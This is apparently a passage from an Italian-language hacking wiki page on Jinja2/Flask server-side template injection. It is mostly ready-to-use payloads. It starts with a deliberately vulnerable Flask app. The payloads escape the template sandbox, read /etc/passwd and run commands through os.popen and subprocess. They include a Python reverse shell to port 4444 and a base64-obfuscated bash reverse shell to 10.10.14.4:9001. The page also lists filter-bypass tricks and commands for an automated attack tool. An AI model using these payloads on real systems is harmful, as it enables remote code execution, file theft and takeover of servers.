from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Misc
Dichiarazione di Debug
Se l'estensione di debug è abilitata, un tag debug sarà disponibile per dumpare il contesto attuale così come i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile da usare nel template senza dover impostare un debugger.
<pre>{% debug %}</pre>
Dump di tutte le variabili di configurazione
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
Prima di tutto, in un'iniezione Jinja devi trovare un modo per uscire dalla sandbox e recuperare l'accesso al normale flusso di esecuzione di Python. Per farlo, devi abusare degli oggetti che provengono dall'ambiente non sandboxed ma sono accessibili dalla sandbox.
Accessing Global Objects
Ad esempio, nel codice render_template("hello.html", username=username, email=email) gli oggetti username ed email provengono dall'ambiente python non sandboxed e saranno accessibili all'interno dell'ambiente sandboxed.
Inoltre, ci sono altri oggetti che saranno sempre accessibili dall'ambiente sandboxed, questi sono:
[]
''
()
dict
config
request
Recuperare <class 'object'>
Poi, da questi oggetti dobbiamo arrivare alla classe: <class 'object'> per cercare di recuperare le classi definite. Questo perché da questo oggetto possiamo chiamare il metodo __subclasses__ e accedere a tutte le classi dall'ambiente python non sandboxed.
Per accedere a quella classe oggetto, è necessario accedere a un oggetto classe e poi accedere a __base__, __mro__()[-1] o .mro()[-1]. E poi, dopo aver raggiunto questa classe oggetto chiamiamo __subclasses__().
Controlla questi esempi:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
Dopo aver recuperato<class 'object'> e chiamato __subclasses__, ora possiamo utilizzare quelle classi per leggere e scrivere file ed eseguire codice.
La chiamata a __subclasses__ ci ha dato l'opportunità di accedere a centinaia di nuove funzioni, saremo felici semplicemente accedendo alla classe file per leggere/scrivere file o a qualsiasi classe con accesso a una classe che consente di eseguire comandi (come os).
Read/Write remote file
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Per saperne di più su altre classi che puoi utilizzare per eseguire l'escape, puoi controllare:
Questi bypass ci permetteranno di accedere agli attributi degli oggetti senza utilizzare alcuni caratteri.
Abbiamo già visto alcuni di questi bypass negli esempi precedenti, ma riassumiamoli qui:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Dai global objects c'è un altro modo per ottenere RCE senza usare quella classe.
Se riesci ad accedere a qualsiasi funzione da quegli oggetti globali, sarai in grado di accedere a __globals__.__builtins__ e da lì l'RCE è molto semplice.
Puoi trovare funzioni dagli oggetti request, config e qualsiasi altro interessante oggetto globale a cui hai accesso con:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Una volta trovate alcune funzioni, puoi recuperare i builtins con:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjinghttps://github.com/Marven11/Fenjing è uno strumento specializzato in CTF, ma può essere utile anche per forzare parametri non validi in uno scenario reale. Lo strumento spruzza semplicemente parole e query per rilevare filtri, cercando bypass, e fornisce anche una console interattiva.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.